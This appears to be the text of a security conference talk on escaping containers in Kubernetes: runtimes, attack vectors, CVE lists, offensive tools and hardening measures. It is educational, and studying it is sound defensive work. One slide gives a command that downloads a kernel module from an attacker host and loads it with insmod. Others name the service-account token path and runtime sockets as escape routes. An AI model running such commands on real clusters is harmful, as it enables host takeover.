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Whoami

• Founder, CTO

• Co-organizer of ZeroNights, DEFCON Russia (#7812)

• Ex-editor at Russian hacker magazine “XAKEP”

• Maintainer of “Python Arsenal for Reverse Engineering”

• Author of the “k8s (in)security” telegram channel

• Speaker: BlackHat, HITB, ZeroNights, HackInParis, Confidence, SAS, 
PHDays, DevOpsConf, KuberConf and etc

https://twitter.com/PythonArsenal
https://t.me/k8security


3

Agenda

• Kubernetes & Containers 101

• Containers in Kubernetes
• Container Runtimes

• CRI implementations 
• OCI implementations

• Escapes, escapes, escapes …

• Linux Container Hardening and security mitigations for k8s

• Conclusions
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KUBERNETES & 
CONTAINERS 101
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Kubernetes 101

• Orchestration framework

• Control loop

• Declarative system

• Everything is a YAML file
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Containers in 
Kubernetes

Source link

https://github.com/cncf/financial-user-group/blob/master/projects/k8s-threat-model/README.md
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Containers 101

Container = Linux process + cgroup + namespaces (cgroup, pid, user, uts, 
ipc, net, mnt, …) + pivot_root + image
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Where are k8s 
escapes ?

Tianfu Cup PWN Contest
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CONTAINERS IN 
KUBERNETES

CRI and OCI implementations
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Container Runtimes
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CRI implementations

High-Level Runtimes:

• Dockershim

• Containerd

• CRI-O

• Frakti

• rktlet

• … 

2018 Docker usage report

2019 Container usage report2021 Container usage report

https://sysdig.com/blog/2018-docker-usage-report/
https://sysdig.com/blog/sysdig-2019-container-usage-report/
https://sysdig.com/blog/sysdig-2021-container-security-usage-report/
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OCI implementations
Low-Level Runtimes:

• runc

• runsc (gVisor)

• kata containers

• Firecracker

• Clear Containers

• Unikernels

• runV

• ...
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runc

• runc is currently the most widely used container runtime. It was originally 
developed as a part of Docker and was later extracted out as a separate 
tool and library.

• runc implements the OCI runtime spec. That means that it runs containers 
from a specific "OCI bundle" format. 

3rtd party security review

https://github.com/opencontainers/runc
https://github.com/opencontainers/runc/blob/master/docs/Security-Audit.pdf
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gVisor is an application kernel written in Go, which 
implements a substantial portion of the Linux system 
call interface. It provides an additional layer of isolation 
between running applications and the host operating 
system.

GKE Sandbox uses gVisor. 

Languages

https://cloud.google.com/kubernetes-engine/docs/concepts/sandbox-pods
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Kata Containers is a secure container runtime with lightweight virtual 
machines.

https://katacontainers.io/
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RuntimeClass
resource
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Where k8s escapes?
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ESCAPES, ESCAPES, 
ESCAPES…
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What is container escape in k8s for?

Picture from "Walls Within Walls: What if your attacker knows parkour?"

https://static.sched.com/hosted_files/kccncna19/0f/walls_within_walls_castle_tallclair_kubeconUSA2019.pdf
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Containers Run as Root by Default
By default, roots inside the container is root on the host.

Fixed in Kubernetes 1.22 – check KubeletInUserNamespace (Alpha stage) in feature gate.

https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/
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Escapes in k8s - attack vectors

• Create necessary-evil containers and Pods

• Pod with dangerous configurations 

• Container runtime vulnerabilities

• Kernel vulnerabilities

• k8s vulnerabilities

• In theory: hardware 
attacks - Exploiting 
Speculative Execution
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Create needed evil 
containers and Pod’s

Deploy a special crafted Pod in cluster.

1) Find and use service account token: 
/var/run/secrets/kubernetes.io/serviceaccount/

token

2) Create evil containers and Pod’s
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Pod with dangerous 
configurations

• Privileged mode and extra Capabilities
• Mounting host resources

• sensitive directories
• mounting container runtime socket

• Sharing namespaces (hostPID, hostIPC, 
hostNetwork, hostPorts)

• ... 
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Privileged mode

It’s a part of securityContext in Pod YAML.

Capabilities:

- Default
- All
- DropAll

https://github.com/opencontainers/runc/blob/master/libcontainer/SPEC.md#security
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Example 1: CAP_SYS_ADMIN (1)
Picture from “Privileged Containers Aren't Containers”

https://ericchiang.github.io/post/privileged-containers/
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Example 2: CAP_SYS_ADMIN (2)

Usermode helper programs:

- release_agent

- binfmt_misc

- core_pattern

- uevent_helper

- modprobe

- … 

Similar use TeamTNT.
Source link

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://medium.com/confluera-engineering/threat-detections-for-container-lateral-movements-and-container-escapes-this-is-how-dc595c6b53cc
https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
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Example 3: CAP_SYS_MODULE
$ curl-O exploit.delivery/bad.ko && insmod bad.ko

Source link

https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host
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Mounting Sensitive Directories

volumeMounts in k8s resources.

Examples:

• /
• /proc/
• /etc/
• /bin, /usr/bin, /usr/sbin, …
• /var/log
• ...
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Example 1: Host’s root directory

Sensitive information on host’s root 
directory useful for container escape:

- token files
- key files
- …

Also you can create Static Pod bypass 
kube-apiserver ;)
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Example 2: /var/log 

Need service account 
permits log access.

Source link

https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
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Example 3: Mounting Container 
Runtime Socket

Sockets:

• docker: unix:///var/run/docker.sock
• dockershim: unix:///var/run/dockershim.sock
• containerd: unix:///run/containerd/containerd.sock
• cri-o: unix:///var/run/crio/crio.sock
• frakti: unix:///var/run/frakti.sock
• rktlet: unix:///var/run/rktlet.sock
• ...
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Sharing Namespaces

HostPID + CAP_SYS_PTRACE = escape
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Useful tools

• capsh - capability shell wrapper. 

• CDK - container penetration toolkit.

• DEEPCE - Docker Enumeration, Escalation of Privileges and Container Escapes.

• Kube-pod-escape - POC for utilizing write mount to /var/log for getting a root on the 
host

• Break out the Box (BOtB) - A container analysis and exploitation tool for pentesters and 
engineers. 

• amicontained - Container introspection tool. Find out what container runtime is being 
used as well as features available. 

• ConMachi - Container Blackbox Security Auditing Tool: enumerates security 
configuration from within the target container. 

https://man7.org/linux/man-pages/man1/capsh.1.html
https://github.com/cdk-team/CDK
https://stealthcopter.github.io/deepce/
https://github.com/danielsagi/kube-pod-escape
https://github.com/brompwnie/botb
https://github.com/genuinetools/amicontained
https://github.com/nccgroup/conmachi
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Container runtime 
vulnerabilities

• RunC Vulnerabilities: CVE-2016-9962, CVE-2019-5736, CVE-
2021-30465

• Containerd: CVE-2020-15257

• CRI-O Vulnerabilities: CVE-2019-14891, CVE-2020-8945, CVE-
2019-14819, CVE-2018-1000400 

• rkt Vulnerabilities: CVE-2019-10144, CVE-2019-10145, CVE-
2019-10457

• Kata - CVE-2020-2023, CVE-2020-2025, CVE-2020-2026   

https://blog.aquasec.com/cve-2016-9962-run-container-run
https://aws.amazon.com/ru/blogs/compute/anatomy-of-cve-2019-5736-a-runc-container-escape/
https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r
https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/
https://capsule8.com/blog/oomypod-nothin-to-cri-o-bout/
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Kernel vulnerabilities

• CVE-2021-22555
• CAP_NET_ADMIN, Linux Netfilter

• CVE-2021-31440
• CAP_SYS_MODULE, eBPF

• CVE-2020-8835
• CAP_SYS_ADMIN, eBPF

• CVE-2017-7308
• CAP_NET_RAW, DCCP sockets

https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
https://www.zerodayinitiative.com/blog/2021/5/26/cve-2021-31440-an-incorrect-bounds-calculation-in-the-linux-kernel-ebpf-verifier
https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification
https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
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Example 1: CVE-2020-14386
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Universal
payload

Source link

https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation
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K8s vulnerabilities
Control Plane Components:

• kube-apiserver
• etcd
• kube-scheduler 
• kube-controller-manager 
• cloud-controller-manager

Node Components:

• kubelet
• kube-proxy

Other:

• kubectl
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Example 1: CVE-2018-1002105 - kube-apiserver

CVE-2018-1002105 - incorrect handling 
of error responses to proxied upgrade 
requests in the kube-apiserver allowed 
specially crafted requests to establish a 
connection through the Kubernetes API 
server to backend servers, then send 
arbitrary requests over the same 
connection directly to the backend, 
authenticated with the Kubernetes API 
server's TLS credentials used to 
establish the backend connection.

https://unit42.paloaltonetworks.com/demystifying-kubernetes-cve-2018-1002105-dead-simple-exploit/
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Example 2: CVE-2019-1002101 - kubectl

CVE-2019-1002101 - An attacker 
could use this to write files to 
any path on the user’s machine 
when kubectl cp is called, limited 
only by the system permissions 
of the local user.

https://unit42.paloaltonetworks.com/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
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LINUX CONTAINER 
HARDENING AND 

SECURITY MITIGATIONS 
IN K8S
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Security mitigations in k8s
• seccomp 

• SeccompDefault - Alpha stage in feature gate in 1.22

• AppArmor

• Beta stage from 1.4

• SeLinux

• Admission Controls

• PodSecurityPolicy (PSP)

• Deprecated status from 1.21. Removed from 1.25 

• Pod Security Admission (PSA)

• Alpha stage in feature gate in 1.22

• NetworkPolicy, ResourceQuota, LimitRanger, ImagePolicyWebhook

• Policy engines: OPA, Gatekeeper, Kyverno, MagTape, k-rail, Kubewarden, JSPolicy

• PodSecurityContext & SecurityContext

• RBAC

• Capabilities 

• Control: Drop all, Add

• Runtimes:
• Sandbox, microVM

• Rootless containers

• Distroless images

• OS host machine hardening

• …

https://medium.com/@LachlanEvenson/how-to-enable-kubernetes-container-runtimedefault-seccomp-profile-for-all-workloads-6795624fcbcc
https://kubernetes.io/docs/tutorials/clusters/apparmor/
https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/
https://medium.com/@LachlanEvenson/hands-on-with-kubernetes-pod-security-admission-b6cac495cd11
https://github.com/open-policy-agent/opa
https://github.com/open-policy-agent/gatekeeper
https://kyverno.io/
https://github.com/tmobile/magtape
https://github.com/cruise-automation/k-rail
https://www.kubewarden.io/
https://www.jspolicy.com/
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PodSecurityPolicy
bypass

• Problem: PSPs are For Pods, Nothing Else

• Bypass through other types of k8s resources

• Example: PersistentVolumes + hostPath parameter

• CustomResourceDefinition is goot topic for research

https://github.com/kubernetes/kubernetes/issues/81110
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PodSecurityContext & 
SecurityContext

Source link

https://github.com/kubernetes-client/python/blob/master/kubernetes/docs/V1SecurityContext.md
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Defense in-depth
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CONCLUSIONS
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Conclusions
• K8s installations are unique like snowflakes

• Many things depend on an environment and configuration

• As Container Runtime may be also sandboxes and VMs 
• Need sandbox escape or VM escape

• Classic techniques container escapes work in K8s
• Attack against privilege mode and sharing resources 

• K8s extended attack surface for container escape
• New code and new logic are new attack surface

• K8s provide very powerful mechanism for security hardening 
• Of course, when used right ;)
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Useful links

• A Compendium of Container Escapes

• Abusing Privileged and Unprivileged Linux Containers

• Cracking the kernel adventures with kernel exploits in 

Kubernetes

• Escaping Virtualized Containers

https://i.blackhat.com/USA-19/Thursday/us-19-Edwards-Compendium-Of-Container-Escapes-up.pdf
https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf
https://www.youtube.com/watch?v=q-zoYJnI7GY
https://i.blackhat.com/USA-20/Thursday/us-20-Avrahami-Escaping-Virtualized-Containers.pdf


QUESTIONS

THANKS FOR 
ATTENTION

Twitter: @evdokimovds


